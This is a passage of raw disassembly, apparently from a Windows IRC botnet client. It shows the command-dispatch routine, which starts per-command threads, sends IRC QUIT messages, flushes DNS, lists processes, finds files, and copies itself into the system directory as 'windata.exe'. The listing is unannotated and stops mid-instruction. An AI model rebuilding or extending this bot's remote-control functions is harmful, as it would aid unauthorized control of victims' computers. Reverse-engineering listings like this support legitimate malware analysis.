[ebp+4Ch+var_730], eax mov eax, [ebp+4Ch+var_C] mov [ebp+4Ch+var_72C], eax mov edi, 80h lea eax, [ebp+4Ch+var_858] push edi push eax mov [ebp+4Ch+var_728], 1 call sub_41E6FE push offset byte_42B633 push esi call sub_41E990 add esp, 14h test eax, eax jz short loc_40446F push esi lea eax, [ebp+4Ch+var_7D8] push edi push eax call sub_41E6FE add esp, 0Ch jmp short loc_404475 ; --------------------------------------------------------------------------- loc_40446F: ; CODE XREF: sub_40274D+1D0Dj mov [ebp+4Ch+var_7D8], bl loc_404475: ; CODE XREF: sub_40274D+1D20j cmp [ebp+4Ch+var_728], ebx mov eax, offset aRandom ; "Random" jnz short loc_404487 mov eax, offset aSequential ; "Sequential" loc_404487: ; CODE XREF: sub_40274D+1D33j push [ebp+4Ch+var_73C] lea ecx, [ebp+4Ch+var_868] push [ebp+4Ch+var_74C] push [ebp+4Ch+var_750] push [ebp+4Ch+var_754] push ecx push eax lea eax, [ebp+4Ch+var_2D0] push offset unk_42F1E8 push eax call sub_41E6A6 push ebx lea eax, [ebp+4Ch+var_2D0] push 0Bh push eax call sub_40AE85 add esp, 2Ch mov [ebp+4Ch+var_748], eax lea eax, [ebp+4Ch+var_1C] push eax push ebx lea eax, [ebp+4Ch+var_868] push eax push offset word_40BEFE push ebx push ebx call ds:dword_42B03C ; CreateThread mov ecx, [ebp+4Ch+var_748] imul ecx, 234h cmp eax, ebx mov ds:dword_4444FC[ecx], eax jnz short loc_404561 call ds:dword_42B01C ; RtlGetLastWin32Error push eax lea eax, [ebp+4Ch+var_2D0] push offset unk_42F1AC push eax call sub_41E6A6 add esp, 0Ch loc_40451A: ; CODE XREF: sub_40274D+1E1Cj cmp [ebp+4Ch+var_C], ebx jnz short loc_404538 push ebx push [ebp+4Ch+var_4] lea eax, [ebp+4Ch+var_2D0] push eax push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_40123B add esp, 14h loc_404538: ; CODE XREF: sub_40274D+1DD0j lea eax, [ebp+4Ch+var_2D0] push eax call sub_417D70 pop ecx loc_404545: ; CODE XREF: sub_40274D+1BA4j add [ebp+4Ch+var_20], 0Bh mov eax, [ebp+4Ch+var_20] cmp [eax], bl jnz loc_4042AA jmp loc_402B92 ; --------------------------------------------------------------------------- loc_404559: ; CODE XREF: sub_40274D+1E1Aj push 32h call ds:dword_42B014 ; Sleep loc_404561: ; CODE XREF: sub_40274D+1DB0j cmp [ebp+4Ch+var_724], ebx jz short loc_404559 jmp short loc_40451A ; --------------------------------------------------------------------------- loc_40456B: ; CODE XREF: sub_40274D+1C20j push offset unk_42F174 jmp loc_4078C9 ; --------------------------------------------------------------------------- loc_404575: ; CODE XREF: sub_40274D+197Fj ; sub_40274D+1994j push 5 call sub_40B075 test eax, eax pop ecx jle short loc_40458B push offset unk_42F154 jmp loc_4078C9 ; --------------------------------------------------------------------------- loc_40458B: ; CODE XREF: sub_40274D+1E32j mov eax, [ebp+esi+4Ch+var_A0] cmp eax, ebx mov edi, 104h jz short loc_4045AB push eax lea eax, [ebp+4Ch+var_2D58] push edi push eax call sub_41E6FE add esp, 0Ch jmp short loc_4045BA ; --------------------------------------------------------------------------- loc_4045AB: ; CODE XREF: sub_40274D+1E49j push edi lea eax, [ebp+4Ch+var_2D58] push eax push ebx call ds:dword_42B00C ; GetModuleFileNameA loc_4045BA: ; CODE XREF: sub_40274D+1E5Cj mov esi, [ebp+esi+4Ch+var_9C] cmp esi, ebx jnz short loc_4045C7 mov esi, offset aWindata_exe ; "windata.exe" loc_4045C7: ; CODE XREF: sub_40274D+1E73j push esi lea eax, [ebp+4Ch+var_2C54] push edi push eax call sub_41E6FE mov eax, ds:dword_43C074 mov [ebp+4Ch+var_2B48], eax mov eax, [ebp+4Ch+arg_4] push 7Fh push [ebp+4Ch+var_9C] mov [ebp+4Ch+var_2D5C], eax lea eax, [ebp+4Ch+var_2B44] push eax mov [ebp+4Ch+var_2B4C], ebx call sub_41E860 mov eax, [ebp+4Ch+var_4] mov [ebp+4Ch+var_2AC4], eax mov eax, [ebp+4Ch+var_C] mov [ebp+4Ch+var_2AC0], eax lea eax, [ebp+4Ch+var_2D58] push eax push [ebp+4Ch+var_2B48] lea eax, [ebp+4Ch+var_2D0] push offset unk_42F120 push eax call sub_41E6A6 push ebx lea eax, [ebp+4Ch+var_2D0] push 5 push eax call sub_40AE85 add esp, 34h mov [ebp+4Ch+var_2B50], eax lea eax, [ebp+4Ch+var_1C] push eax push ebx lea eax, [ebp+4Ch+var_2D5C] push eax push offset aUnlMb ; "Ul$Œì|\b" push ebx push ebx call ds:dword_42B03C ; CreateThread mov ecx, [ebp+4Ch+var_2B50] imul ecx, 234h cmp eax, ebx mov ds:dword_4444FC[ecx], eax jnz short loc_404690 call ds:dword_42B01C ; RtlGetLastWin32Error push eax push offset unk_42F0E4 jmp loc_40697E ; --------------------------------------------------------------------------- loc_404688: ; CODE XREF: sub_40274D+1F49j push 32h call ds:dword_42B014 ; Sleep loc_404690: ; CODE XREF: sub_40274D+1F28j cmp [ebp+4Ch+var_2ABC], ebx jz short loc_404688 jmp loc_40698D ; --------------------------------------------------------------------------- loc_40469D: ; CODE XREF: sub_40274D+1955j ; sub_40274D+196Aj mov edi, [ebp+esi+4Ch+var_A0] cmp edi, ebx jz short loc_4046B9 push edi call sub_41E7AD test eax, eax pop ecx jz short loc_4046B9 push edi call sub_41E7AD pop ecx jmp short loc_4046BE ; --------------------------------------------------------------------------- loc_4046B9: ; CODE XREF: sub_40274D+1F56j ; sub_40274D+1F61j mov eax, ds:dword_43C078 loc_4046BE: ; CODE XREF: sub_40274D+1F6Aj mov esi, [ebp+esi+4Ch+var_9C] mov [ebp+4Ch+var_36D0], eax xor eax, eax cmp [ebp+4Ch+var_904], bl setz al cmp esi, ebx mov [ebp+4Ch+var_36BC], eax jz short loc_4046EE lea eax, [ebp+4Ch+var_37D4] push esi push eax call sub_41E6A6 pop ecx pop ecx jmp short loc_404719 ; --------------------------------------------------------------------------- loc_4046EE: ; CODE XREF: sub_40274D+1F8Ej push 104h lea eax, [ebp+4Ch+var_4FFC] push eax call ds:dword_42B010 ; GetSystemDirectoryA push ebx push ebx push ebx lea eax, [ebp+4Ch+var_4D0] push eax lea eax, [ebp+4Ch+var_4FFC] push eax call sub_41ED01 add esp, 14h loc_404719: ; CODE XREF: sub_40274D+1F9Fj lea eax, [ebp+4Ch+var_37D4] push eax call sub_41E1C0 cmp [ebp+eax+4Ch+var_37D5], 5Ch pop ecx jnz short loc_404744 lea eax, [ebp+4Ch+var_37D4] push eax call sub_41E1C0 pop ecx mov [ebp+eax+4Ch+var_37D5], bl loc_404744: ; CODE XREF: sub_40274D+1FE1j push [ebp+4Ch+var_9C] mov esi, [ebp+4Ch+arg_4] lea eax, [ebp+4Ch+var_3A5C] push 80h push eax mov [ebp+4Ch+var_3A60], esi call sub_41E6FE mov eax, [ebp+4Ch+var_C] mov edi, [ebp+4Ch+var_4] add esp, 0Ch mov [ebp+4Ch+var_36C0], eax lea eax, [ebp+4Ch+var_37D4] push eax push [ebp+4Ch+var_36D0] mov [ebp+4Ch+var_36C4], edi push esi call sub_4023C9 pop ecx push eax lea eax, [ebp+4Ch+var_2D0] push offset unk_42F0A8 push eax call sub_41E6A6 push ebx lea eax, [ebp+4Ch+var_2D0] push 3 push eax call sub_40AE85 add esp, 20h mov [ebp+4Ch+var_36C8], eax lea eax, [ebp+4Ch+var_1C] push eax push ebx lea eax, [ebp+4Ch+var_3A60] push eax push offset byte_412DD9 push ebx push ebx call ds:dword_42B03C ; CreateThread mov ecx, [ebp+4Ch+var_36C8] imul ecx, 234h cmp eax, ebx mov ds:dword_4444FC[ecx], eax jnz short loc_4047FC call ds:dword_42B01C ; RtlGetLastWin32Error push eax push offset unk_42F06C jmp loc_40491A ; --------------------------------------------------------------------------- loc_4047F4: ; CODE XREF: sub_40274D+20B5j push 32h call ds:dword_42B014 ; Sleep loc_4047FC: ; CODE XREF: sub_40274D+2094j cmp [ebp+4Ch+var_36B4], ebx jz short loc_4047F4 jmp loc_404929 ; --------------------------------------------------------------------------- loc_404809: ; CODE XREF: sub_40274D+192Bj ; sub_40274D+1940j mov edi, [ebp+esi+4Ch+var_A0] cmp edi, ebx jz short loc_404825 push edi call sub_41E7AD test eax, eax pop ecx jz short loc_404825 push edi call sub_41E7AD pop ecx jmp short loc_40482A ; --------------------------------------------------------------------------- loc_404825: ; CODE XREF: sub_40274D+20C2j ; sub_40274D+20CDj mov eax, ds:dword_43C07C loc_40482A: ; CODE XREF: sub_40274D+20D6j mov [ebp+4Ch+var_182C], eax mov eax, [ebp+esi+4Ch+var_9C] cmp eax, ebx jnz short loc_40483E lea eax, [ebp+4Ch+var_D0] loc_40483E: ; CODE XREF: sub_40274D+20E9j push eax lea eax, [ebp+4Ch+var_196C] push 40h push eax call sub_41E6FE mov esi, [ebp+esi+4Ch+var_98] add esp, 0Ch cmp esi, ebx jnz short loc_40485D mov esi, offset byte_42B633 loc_40485D: ; CODE XREF: sub_40274D+2109j push esi lea eax, [ebp+4Ch+var_192C] push 100h push eax call sub_41E6FE push [ebp+4Ch+var_9C] lea eax, [ebp+4Ch+var_19EC] push 80h push eax call sub_41E6FE mov eax, [ebp+4Ch+var_C] mov esi, [ebp+4Ch+arg_4] mov edi, [ebp+4Ch+var_4] add esp, 18h mov [ebp+4Ch+var_1818], eax lea eax, [ebp+4Ch+var_196C] push eax push [ebp+4Ch+var_182C] mov [ebp+4Ch+var_19F0], esi push esi mov [ebp+4Ch+var_181C], edi call sub_4023C9 pop ecx push eax lea eax, [ebp+4Ch+var_2D0] push offset unk_42F030 push eax call sub_41E6A6 push ebx lea eax, [ebp+4Ch+var_2D0] push 9 push eax call sub_40AE85 add esp, 20h mov [ebp+4Ch+var_1828], eax lea eax, [ebp+4Ch+var_1C] push eax push ebx lea eax, [ebp+4Ch+var_19F0] push eax push offset byte_413A51 push ebx push ebx call ds:dword_42B03C ; CreateThread mov ecx, [ebp+4Ch+var_1828] imul ecx, 234h cmp eax, ebx mov ds:dword_4444FC[ecx], eax jnz short loc_404941 call ds:dword_42B01C ; RtlGetLastWin32Error push eax push offset unk_42EFF4 loc_40491A: ; CODE XREF: sub_40274D+20A2j ; sub_40274D+4A78j ... lea eax, [ebp+4Ch+var_2D0] push eax call sub_41E6A6 add esp, 0Ch loc_404929: ; CODE XREF: sub_40274D+20B7j ; sub_40274D+21FCj ... cmp [ebp+4Ch+var_C], ebx jnz loc_408D10 push ebx push edi jmp loc_4089CD ; --------------------------------------------------------------------------- loc_404939: ; CODE XREF: sub_40274D+21FAj push 32h call ds:dword_42B014 ; Sleep loc_404941: ; CODE XREF: sub_40274D+21BFj cmp [ebp+4Ch+var_1814], ebx jz short loc_404939 jmp short loc_404929 ; --------------------------------------------------------------------------- loc_40494B: ; CODE XREF: sub_40274D+1901j ; sub_40274D+1916j mov esi, [ebp+esi+4Ch+var_A0] cmp esi, ebx jz short loc_40495B push esi call sub_41E7AD jmp short loc_404962 ; --------------------------------------------------------------------------- loc_40495B: ; CODE XREF: sub_40274D+2204j push 0Bh call sub_40B094 loc_404962: ; CODE XREF: sub_40274D+220Cj cmp eax, ebx pop ecx jz short loc_404979 push eax push [ebp+4Ch+var_4] push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_40B619 loc_404976: ; CODE XREF: sub_40274D+26CBj add esp, 10h loc_404979: ; CODE XREF: sub_40274D+5C8j ; sub_40274D+5D4j ... mov eax, [ebp+4Ch+arg_24] jmp loc_402B95 ; --------------------------------------------------------------------------- loc_404981: ; CODE XREF: sub_40274D+18D7j ; sub_40274D+18ECj mov eax, ds:dword_4441F0 cmp eax, ebx jz short loc_4049A4 call eax ; DnsFlushResolverCache test eax, eax lea eax, [ebp+4Ch+var_2D0] jz short loc_40499D push offset unk_42EFD0 jmp short loc_4049AF ; --------------------------------------------------------------------------- loc_40499D: ; CODE XREF: sub_40274D+2247j push offset unk_42EFA4 jmp short loc_4049AF ; --------------------------------------------------------------------------- loc_4049A4: ; CODE XREF: sub_40274D+223Bj push offset unk_42EF78 lea eax, [ebp+4Ch+var_2D0] loc_4049AF: ; CODE XREF: sub_40274D+224Ej ; sub_40274D+2255j ... push 200h push eax call sub_41E6FE jmp loc_4076E0 ; --------------------------------------------------------------------------- loc_4049BF: ; CODE XREF: sub_40274D+18ADj ; sub_40274D+18C2j call sub_4022F5 test eax, eax lea eax, [ebp+4Ch+var_2D0] jz short loc_4049D5 push offset unk_42EF54 jmp short loc_4049AF ; --------------------------------------------------------------------------- loc_4049D5: ; CODE XREF: sub_40274D+227Fj push offset unk_42EF28 jmp short loc_4049AF ; --------------------------------------------------------------------------- loc_4049DC: ; CODE XREF: sub_40274D+1883j ; sub_40274D+1898j cmp [ebp+4Ch+var_C], ebx jnz short loc_4049F8 push ebx push [ebp+4Ch+var_4] push offset dword_42EF10 push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_40123B add esp, 14h loc_4049F8: ; CODE XREF: sub_40274D+2292j push ebx push [ebp+4Ch+var_4] call sub_41AD5A push eax push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_40123B push offset dword_42EEF4 loc_404A12: ; CODE XREF: sub_40274D+257Dj ; sub_40274D+25ACj call sub_417D70 jmp loc_409FB6 ; --------------------------------------------------------------------------- loc_404A1C: ; CODE XREF: sub_40274D+1725j ; sub_40274D+173Aj push 0Ah call sub_40B075 test eax, eax pop ecx jle short loc_404A2F push offset unk_42EEC8 jmp short loc_404A4D ; --------------------------------------------------------------------------- loc_404A2F: ; CODE XREF: sub_40274D+22D9j push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_41C9D4 cmp eax, 0FFFFFFFFh pop ecx pop ecx jnz short loc_404A48 push offset unk_42EEA0 jmp short loc_404A4D ; --------------------------------------------------------------------------- loc_404A48: ; CODE XREF: sub_40274D+22F2j push offset unk_42EE80 loc_404A4D: ; CODE XREF: sub_40274D+22E0j ; sub_40274D+22F9j ... lea eax, [ebp+4Ch+var_2D0] push eax call sub_41E6A6 pop ecx pop ecx loc_404A5B: ; CODE XREF: sub_40274D+5574j ; sub_40274D+6E4Dj cmp [ebp+4Ch+var_C], ebx jnz short loc_404A79 push ebx push [ebp+4Ch+var_4] lea eax, [ebp+4Ch+var_2D0] push eax push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] loc_404A71: ; CODE XREF: sub_40274D+6ADFj call sub_40123B add esp, 14h loc_404A79: ; CODE XREF: sub_40274D+2311j ; sub_40274D+2508j ... lea eax, [ebp+4Ch+var_2D0] push eax call sub_417D70 jmp loc_40A217 ; --------------------------------------------------------------------------- loc_404A8A: ; CODE XREF: sub_40274D+16FBj ; sub_40274D+1710j push [ebp+4Ch+var_C] push [ebp+4Ch+var_4] push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_401F92 jmp loc_404D0F ; --------------------------------------------------------------------------- loc_404AA0: ; CODE XREF: sub_40274D+16D1j ; sub_40274D+16E6j push [ebp+esi+4Ch+var_A0] push [ebp+4Ch+var_4] push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_419725 jmp loc_404D0F ; --------------------------------------------------------------------------- loc_404AB7: ; CODE XREF: sub_40274D+16A7j ; sub_40274D+16BCj or edi, 0FFFFFFFFh call ds:dword_42B038 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+4Ch+var_A0] cmp esi, ebx mov [ebp+4Ch+arg_0], eax jz short loc_404ADD push esi call sub_41E7AD pop ecx mov edi, eax loc_404ADD: ; CODE XREF: sub_40274D+2385j mov eax, [ebp+4Ch+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_404AF6 cmp edi, 0FFFFFFFFh jnz loc_404979 loc_404AF6: ; CODE XREF: sub_40274D+239Ej push ebx call sub_41D5F8 push eax lea eax, [ebp+4Ch+var_2D0] push offset dword_42EE68 push eax call sub_41E6A6 push ebx push [ebp+4Ch+var_4] lea eax, [ebp+4Ch+var_2D0] push eax push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_40123B lea eax, [ebp+4Ch+var_2D0] push eax call sub_417D70 jmp loc_4083EA ; --------------------------------------------------------------------------- loc_404B35: ; CODE XREF: sub_40274D+167Dj ; sub_40274D+1692j push [ebp+4Ch+var_4] push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_4185EA lea eax, [ebp+4Ch+var_2D0] push offset dword_42EE48 push eax call sub_41E6A6 jmp loc_408BF5 ; --------------------------------------------------------------------------- loc_404B59: ; CODE XREF: sub_40274D+1653j ; sub_40274D+1668j push 27h call sub_40B075 test eax, eax pop ecx jle short loc_404B87 cmp [ebp+4Ch+var_C], ebx jnz loc_402B92 push ebx push [ebp+4Ch+var_4] push offset unk_42EE28 push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_40123B jmp loc_4095B1 ; --------------------------------------------------------------------------- loc_404B87: ; CODE XREF: sub_40274D+2416j push [ebp+4Ch+var_9C] lea eax, [ebp+4Ch+var_BCC] push 80h push eax call sub_41E6FE mov eax, [ebp+4Ch+arg_4] mov esi, [ebp+esi+4Ch+var_A0] mov [ebp+4Ch+var_BD0], eax mov eax, [ebp+4Ch+var_4] mov [ebp+4Ch+var_B44], eax mov eax, [ebp+4Ch+var_C] add esp, 0Ch cmp esi, ebx mov [ebp+4Ch+var_B40], eax mov [ebp+4Ch+var_B48], ebx jz short loc_404BE2 push esi push offset aFull ; "full" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_404BE2 mov [ebp+4Ch+var_B48], 1 loc_404BE2: ; CODE XREF: sub_40274D+2478j ; sub_40274D+2489j lea eax, [ebp+4Ch+var_2D0] push offset dword_42EE04 push eax call sub_41E6A6 push ebx lea eax, [ebp+4Ch+var_2D0] push 27h push eax call sub_40AE85 add esp, 14h mov [ebp+4Ch+var_B4C], eax lea eax, [ebp+4Ch+var_1C] push eax push ebx lea eax, [ebp+4Ch+var_BD0] push eax push offset dword_41C66C push ebx push ebx call ds:dword_42B03C ; CreateThread mov ecx, [ebp+4Ch+var_B4C] imul ecx, 234h cmp eax, ebx mov ds:dword_4444FC[ecx], eax jnz short loc_404C62 call ds:dword_42B01C ; RtlGetLastWin32Error push eax lea eax, [ebp+4Ch+var_2D0] push offset unk_42EDC8 push eax call sub_41E6A6 add esp, 0Ch jmp loc_404A79 ; --------------------------------------------------------------------------- loc_404C5A: ; CODE XREF: sub_40274D+251Bj push 32h call ds:dword_42B014 ; Sleep loc_404C62: ; CODE XREF: sub_40274D+24EBj cmp [ebp+4Ch+var_B3C], ebx jz short loc_404C5A jmp loc_404A79 ; --------------------------------------------------------------------------- loc_404C6F: ; CODE XREF: sub_40274D+1629j ; sub_40274D+163Ej cmp [ebp+4Ch+var_C], ebx jnz short loc_404C8B push ebx push [ebp+4Ch+var_4] push offset dword_42EDAC push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_40123B add esp, 14h loc_404C8B: ; CODE XREF: sub_40274D+2525j push [ebp+4Ch+arg_4] call ds:dword_444218 ; closesocket call ds:dword_444224 ; WSACleanup call sub_41AEDD jmp loc_405462 ; --------------------------------------------------------------------------- loc_404CA4: ; CODE XREF: sub_40274D+15FFj ; sub_40274D+1614j push ebx push [ebp+4Ch+var_4] lea eax, [ebp+4Ch+var_2D0] push [ebp+4Ch+arg_4] push eax call sub_41D779 pop ecx pop ecx push eax push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_40123B push offset dword_42ED90 jmp loc_404A12 ; --------------------------------------------------------------------------- loc_404CCF: ; CODE XREF: sub_40274D+15D5j ; sub_40274D+15EAj push ebx push [ebp+4Ch+var_4] lea eax, [ebp+4Ch+var_2D0] push [ebp+4Ch+arg_4] push [ebp+4Ch+arg_1C] push eax call sub_41D9E5 add esp, 0Ch push eax push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_40123B push offset dword_42ED74 jmp loc_404A12 ; --------------------------------------------------------------------------- loc_404CFE: ; CODE XREF: sub_40274D+15ABj ; sub_40274D+15C0j push [ebp+4Ch+var_C] push [ebp+4Ch+var_4] push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_417E10 loc_404D0F: ; CODE XREF: sub_40274D+372j ; sub_40274D+234Ej ... add esp, 10h jmp loc_402B92 ; --------------------------------------------------------------------------- loc_404D17: ; CODE XREF: sub_40274D+1581j ; sub_40274D+1596j cmp [ebp+4Ch+var_18], ebx mov [ebp+4Ch+var_159C], bl jz short loc_404D53 mov esi, [ebp+esi+4Ch+var_A0] cmp esi, ebx jz short loc_404D53 push esi push [ebp+4Ch+var_18] call sub_41F090 cmp eax, ebx pop ecx pop ecx jz short loc_404D53 push eax push offset aS ; "%s" lea eax, [ebp+4Ch+var_159C] push 80h push eax call sub_41E6FE add esp, 10h loc_404D53: ; CODE XREF: sub_40274D+25D3j ; sub_40274D+25DBj ... push [ebp+4Ch+var_9C] lea eax, [ebp+4Ch+var_161C] push 80h push eax call sub_41E6FE mov eax, [ebp+4Ch+arg_4] mov [ebp+4Ch+var_1620], eax mov eax, [ebp+4Ch+var_4] mov [ebp+4Ch+var_1518], eax mov eax, [ebp+4Ch+var_C] mov [ebp+4Ch+var_1514], eax lea eax, [ebp+4Ch+var_2D0] push offset dword_42ED5C push eax call sub_41E6A6 push ebx lea eax, [ebp+4Ch+var_2D0] push 25h push eax call sub_40AE85 add esp, 20h mov [ebp+4Ch+var_151C], eax lea eax, [ebp+4Ch+var_1C] push eax push ebx lea eax, [ebp+4Ch+var_1620] push eax push offset byte_417E51 push ebx push ebx call ds:dword_42B03C ; CreateThread mov ecx, [ebp+4Ch+var_151C] imul ecx, 234h cmp eax, ebx mov ds:dword_4444FC[ecx], eax jnz short loc_404DF3 call ds:dword_42B01C ; RtlGetLastWin32Error push eax push offset unk_42ED24 jmp loc_40A211 ; --------------------------------------------------------------------------- loc_404DEB: ; CODE XREF: sub_40274D+26ACj push 32h call ds:dword_42B014 ; Sleep loc_404DF3: ; CODE XREF: sub_40274D+268Bj cmp [ebp+4Ch+var_1510], ebx jz short loc_404DEB jmp loc_402B92 ; --------------------------------------------------------------------------- loc_404E00: ; CODE XREF: sub_40274D+1557j ; sub_40274D+156Cj push [ebp+4Ch+var_4] push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_417CF8 push offset dword_42ED0C call sub_417D70 jmp loc_404976 ; --------------------------------------------------------------------------- loc_404E1D: ; CODE XREF: sub_40274D+152Dj ; sub_40274D+1542j push [ebp+4Ch+var_9C] lea eax, [ebp+4Ch+var_B34] push 80h push eax call sub_41E6FE mov eax, [ebp+4Ch+arg_4] mov esi, [ebp+esi+4Ch+var_A0] mov [ebp+4Ch+var_B38], eax mov eax, [ebp+4Ch+var_4] mov [ebp+4Ch+var_AAC], eax mov eax, [ebp+4Ch+var_C] add esp, 0Ch cmp esi, ebx mov [ebp+4Ch+var_AA8], eax jz short loc_404E71 push offset dword_42ED08 push esi call sub_41E990 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+4Ch+var_AB0], eax jmp short loc_404E77 ; --------------------------------------------------------------------------- loc_404E71: ; CODE XREF: sub_40274D+2708j mov [ebp+4Ch+var_AB0], ebx loc_404E77: ; CODE XREF: sub_40274D+2722j lea eax, [ebp+4Ch+var_2D0] push offset dword_42ECE8 push eax call sub_41E6A6 push ebx lea eax, [ebp+4Ch+var_2D0] push 28h push eax call sub_40AE85 add esp, 14h mov [ebp+4Ch+var_AB4], eax lea eax, [ebp+4Ch+var_1C] push eax push ebx lea eax, [ebp+4Ch+var_B38] push eax push offset aUnlMbS ; "Ul$Œì˜" push ebx push ebx call ds:dword_42B03C ; CreateThread mov ecx, [ebp+4Ch+var_AB4] imul ecx, 234h cmp eax, ebx mov ds:dword_4444FC[ecx], eax jnz short loc_404EE8 call ds:dword_42B01C ; RtlGetLastWin32Error push eax push offset unk_42ECAC jmp loc_409AC1 ; --------------------------------------------------------------------------- loc_404EE0: ; CODE XREF: sub_40274D+27A1j push 32h call ds:dword_42B014 ; Sleep loc_404EE8: ; CODE XREF: sub_40274D+2780j cmp [ebp+4Ch+var_AA4], ebx jz short loc_404EE0 jmp loc_406C6B ; --------------------------------------------------------------------------- loc_404EF5: ; CODE XREF: sub_40274D+14B4j ; sub_40274D+14C9j push offset aIiknc ; "iiKnc" lea eax, [ebp+4Ch+var_2D0] push offset dword_42EC94 push eax call sub_41E6A6 push ebx push [ebp+4Ch+var_4] lea eax, [ebp+4Ch+var_2D0] push eax push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_40123B add esp, 20h jmp loc_406C6B ; --------------------------------------------------------------------------- loc_404F29: ; CODE XREF: sub_40274D+148Aj ; sub_40274D+149Fj push ds:dword_4D1FD0 call sub_41D5F8 push eax lea eax, [ebp+4Ch+var_2D0] push offset unk_42EC68 push eax call sub_41E6A6 push ebx push [ebp+4Ch+var_4] lea eax, [ebp+4Ch+var_2D0] push eax push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_40123B add esp, 24h jmp loc_406C6B ; --------------------------------------------------------------------------- loc_404F64: ; CODE XREF: sub_40274D+1460j ; sub_40274D+1475j mov esi, [ebp+esi+4Ch+var_A0] cmp esi, ebx jz short loc_404F93 cmp [ebp+4Ch+var_18], ebx jz short loc_404FA2 push esi push [ebp+4Ch+var_18] call sub_41F090 cmp eax, ebx pop ecx pop ecx jz short loc_404FA2 push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+4Ch+arg_4] call sub_4011F5 add esp, 0Ch jmp short loc_404FA2 ; --------------------------------------------------------------------------- loc_404F93: ; CODE XREF: sub_40274D+281Dj push offset aQuitLater ; "QUIT :later\r\n" push [ebp+4Ch+arg_4] call sub_4011F5 pop ecx pop ecx loc_404FA2: ; CODE XREF: sub_40274D+2822j ; sub_40274D+2831j ... push 0FFFFFFFEh pop eax jmp loc_402B95 ; --------------------------------------------------------------------------- loc_404FAA: ; CODE XREF: sub_40274D+1436j ; sub_40274D+144Bj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+4Ch+arg_4] call sub_4011F5 push offset dword_42EC18 call sub_417D70 add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_402B95 ; --------------------------------------------------------------------------- loc_404FCC: ; CODE XREF: sub_40274D+140Cj ; sub_40274D+1421j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+4Ch+arg_4] call sub_4011F5 push offset dword_42EBE4 call sub_417D70 add esp, 0Ch loc_404FE6: ; CODE XREF: sub_40274D+7915j xor eax, eax jmp loc_402B95 ; --------------------------------------------------------------------------- loc_404FED: ; CODE XREF: sub_40274D+13E2j ; sub_40274D+13F7j push [ebp+4Ch+var_4] push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_40B553 jmp loc_409DE9 ; --------------------------------------------------------------------------- loc_405000: ; CODE XREF: sub_40274D+13B8j ; sub_40274D+13CDj push [ebp+4Ch+var_4] push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_40B4FF jmp loc_409DE9 ; --------------------------------------------------------------------------- loc_405013: ; CODE XREF: sub_40274D+138Ej ; sub_40274D+13A3j push [ebp+4Ch+var_4] push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_40B494 jmp loc_409DE9 ; --------------------------------------------------------------------------- loc_405026: ; CODE XREF: sub_40274D+1364j ; sub_40274D+1379j push [ebp+4Ch+var_4] push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_40B3C5 jmp loc_409DE9 ; --------------------------------------------------------------------------- loc_405039: ; CODE XREF: sub_40274D+12C8j ; sub_40274D+12DDj push [ebp+esi+4Ch+var_A0] push 27h push offset aProcessList ; "Process list" push offset dword_42EBC4 jmp short loc_40505B ; --------------------------------------------------------------------------- loc_40504B: ; CODE XREF: sub_40274D+129Ej ; sub_40274D+12B3j push [ebp+esi+4Ch+var_A0] push 24h push offset aFindFile ; "Find file" push offset dword_42EBA8 loc_40505B: ; CODE XREF: sub_40274D+EF1j ; sub_40274D+F41j ... push [ebp+4Ch+var_C] push [ebp+4Ch+var_4] push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_40B0BB add esp, 20h jmp loc_402B92 ; --------------------------------------------------------------------------- loc_405074: ; CODE XREF: sub_40274D+F05j ; sub_40274D+F1Aj mov edi, [ebp+esi+4Ch+var_A0] cmp edi, ebx jz short loc_405090 push edi call sub_41E7AD test eax, eax pop ecx jz short loc_405090 push edi call sub_41E7AD pop ecx jmp short loc_405095 ; --------------------------------------------------------------------------- loc_405090: ; CODE XREF: sub_40274D+292Dj ; sub_40274D+2938j mov eax, ds:dword_43C070 loc_405095: ; CODE XREF: sub_40274D+2941j mov esi, [ebp+esi+4Ch+var_9C] cmp esi, ebx mov [ebp+4Ch+var_598], eax jz short loc_4050B7 push esi loc_4050A4: ; CODE XREF: sub_40274D+2979j lea eax, [ebp+4Ch+var_5A8] push 10h push eax call sub_41E6FE add esp, 0Ch jmp short loc_4050CE ; --------------------------------------------------------------------------- loc_4050B7: ; CODE XREF: sub_40274D+2954j cmp [ebp+4Ch+var_907], bl jz short loc_4050C8 lea eax, [ebp+4Ch+var_D0] push eax jmp short loc_4050A4 ; --------------------------------------------------------------------------- loc_4050C8: ; CODE XREF: sub_40274D+2970j mov [ebp+4Ch+var_5A8], bl loc_4050CE: ; CODE XREF: sub_40274D+2968j mov eax, [ebp+4Ch+var_4] push [ebp+4Ch+var_9C] mov esi, [ebp+4Ch+arg_4] mov 